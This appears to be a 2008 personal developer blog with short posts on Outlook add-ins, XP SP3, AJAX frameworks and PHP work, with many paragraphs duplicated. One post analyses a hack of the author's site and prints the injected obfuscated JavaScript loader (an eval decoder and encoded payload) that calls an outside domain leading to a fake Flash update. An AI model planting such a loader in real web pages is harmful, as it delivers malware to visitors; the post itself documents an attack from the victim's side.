NiceGuyUK Blog
Tuesday, September 02, 2008
I'm over here...
To busy to blog these days. You've got more chance of finding out what I'm up to by looking at Twitter :-
Monday, June 02, 2008
Writing Outlook Addins in C#.Net
Ok, so the title of this post is a blatant Google magnet attempt. But honestly, that's what I've been doing today and its been the most fun I've had coding in a while.
I'm converting an old VB6 COM addin for Outlook versions prior to 2007 so that it does indeed work with 2007. Its being rewritten in C# and due to some clever interop work (not my cleverness, I gleaned information from this blog post by Patrick Schmid) I don't even need to hack my way around Outlook's security model with the Redemption Library.
Once its done, I'm toying with the idea of writing more addins for Outlook 2007 that I think I'll find useful (and hopefully other people will too)
I'm converting an old VB6 COM addin for Outlook versions prior to 2007 so that it does indeed work with 2007. Its being rewritten in C# and due to some clever interop work (not my cleverness, I gleaned information from this blog post by Patrick Schmid) I don't even need to hack my way around Outlook's security model with the Redemption Library.
Once its done, I'm toying with the idea of writing more addins for Outlook 2007 that I think I'll find useful (and hopefully other people will too)
Sunday, May 04, 2008
Windows XP SP3
Upgraded my sole Windows PC from XP SP2 to XP SP3 tonight. It seems stable so far, but then I've probably already got most of the patches that they rolled into Service Pack 3 anyway. If I hit any odd issues (other than the annoyance of it reverting my hacked uxtheme.dll so I lose my Royale Remixed theme), I'll post about it here.
Wednesday, April 30, 2008
Anatomy of a web hack
One of my websites recently got hacked (through FTP - provider says its password related, but I'm not convinced). The miscreant put over 5000 HTML pages in one of my directories, each of which is infected with a piece of obfuscated javascript. I've tidied it up for readability :-
function F(WY,e)
{
if(!e)
{
e='kUZ$caiWxQYNso/B-8E(b>p{]K5nl2u}F3L#t7;gCGj!w")rI0X6h?vSAdT1P%*=';
}
var y;
var OR='';
for(var m=0;m
y = (e.indexOf(WY.charAt(m))&255)<<18|(e.indexOf(WY.charAt(m+1))&255)<<12|(e.indexOf(WY.charAt(m+2))&255)<<6|e.indexOf(WY.charAt(m+3))&255;
OR += String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);
}
eval(OR.substring(0,OR.length-3));
}
F('Ki%#2p?7ng-)2SQG2ibCQ60(-Xl!Q?QQba-F(ca/8?>U8hb%xtG32;a(]Xl!QSQGlW-LxWoX]6hL5W8hl$CrNv8)lv?3n;agK{Q65{87N;7)K;PrKid6lS832ZdjlXx*BZ%(-?QQQXwgba-*QXt1kkkk');
What this does is call another script from another domain (dnsmanagersite.info). This script, in turn, forces a redirect to a porn site, which tries to force you to download what it claims is an update for Adobe Flash. I have no doubt at all that it is a virus/trojan/keylogger/backdoor or other such piece of crap.
function F(WY,e)
{
if(!e)
{
e='kUZ$caiWxQYNso/B-8E(b>p{]K5nl2u}F3L#t7;gCGj!w")rI0X6h?vSAdT1P%*=';
}
var y;
var OR='';
for(var m=0;m
y = (e.indexOf(WY.charAt(m))&255)<<18|(e.indexOf(WY.charAt(m+1))&255)<<12|(e.indexOf(WY.charAt(m+2))&255)<<6|e.indexOf(WY.charAt(m+3))&255;
OR += String.fromCharCode((y&16711680)>>16,(y&65280)>>8,y&255);
}
eval(OR.substring(0,OR.length-3));
}
F('Ki%#2p?7ng-)2SQG2ibCQ60(-Xl!Q?QQba-F(ca/8?>U8hb%xtG32;a(]Xl!QSQGlW-LxWoX]6hL5W8hl$CrNv8)lv?3n;agK{Q65{87N;7)K;PrKid6lS832ZdjlXx*BZ%(-?QQQXwgba-*QXt1kkkk');
What this does is call another script from another domain (dnsmanagersite.info). This script, in turn, forces a redirect to a porn site, which tries to force you to download what it claims is an update for Adobe Flash. I have no doubt at all that it is a virus/trojan/keylogger/backdoor or other such piece of crap.
Tuesday, April 22, 2008
The trouble with AJAX frameworks...
As my brother would say, I've been busier than a one-legged Riverdancer just lately....
I'm working for two clients simultaneously - a mix of Classic ASP and ASP.Net by day and PHP5 by night. In both cases, I'm making use of AJAX Frameworks and herein lies the problem. Conceptually, using a framework rather than dong everything yourself "from scratch" is a good thing, since it should save re-inventing the wheel.
However, I'm finding in both cases (Microsoft ASP.Net Ajax for one, QCodo for the other) that things are either incomplete, inadequately documented, or just plain broken. I'm increasingly finding myself spending more time fixing little rendering issues (or things that don't render at all) and less time dealing with the core functionality of the application.
Its frustrating, to say the least.
I'm working for two clients simultaneously - a mix of Classic ASP and ASP.Net by day and PHP5 by night. In both cases, I'm making use of AJAX Frameworks and herein lies the problem. Conceptually, using a framework rather than dong everything yourself "from scratch" is a good thing, since it should save re-inventing the wheel.
However, I'm finding in both cases (Microsoft ASP.Net Ajax for one, QCodo for the other) that things are either incomplete, inadequately documented, or just plain broken. I'm increasingly finding myself spending more time fixing little rendering issues (or things that don't render at all) and less time dealing with the core functionality of the application.
Its frustrating, to say the least.
Monday, March 24, 2008
PHP Hacking
Started trying out some UI concepts in PHP for a project I'm working on for a customer. I've now managed to get a data-bound composite control rendered with drag and drop functionality. I'm trying for a drag-and drop paradigm in a web app, since the brief for this customer states it should be as easy to use as possible.
So far so good. Of course, I wouldn't be anywhere near this stage without the excellent QCodo framework for PHP. Thanks Mike!
So far so good. Of course, I wouldn't be anywhere near this stage without the excellent QCodo framework for PHP. Thanks Mike!
Thursday, March 06, 2008
I am Borg
Managed to dig out my old BlueTooth headset and as well as getting it working with my mobile phone, I've also managed to get it working with Skype on my MacBook, using the built-in Bluetooth. The thought hadn't occurred to me earlier, but the combination works really well.
Shame that the headset makes me look like a Borg though...
Shame that the headset makes me look like a Borg though...
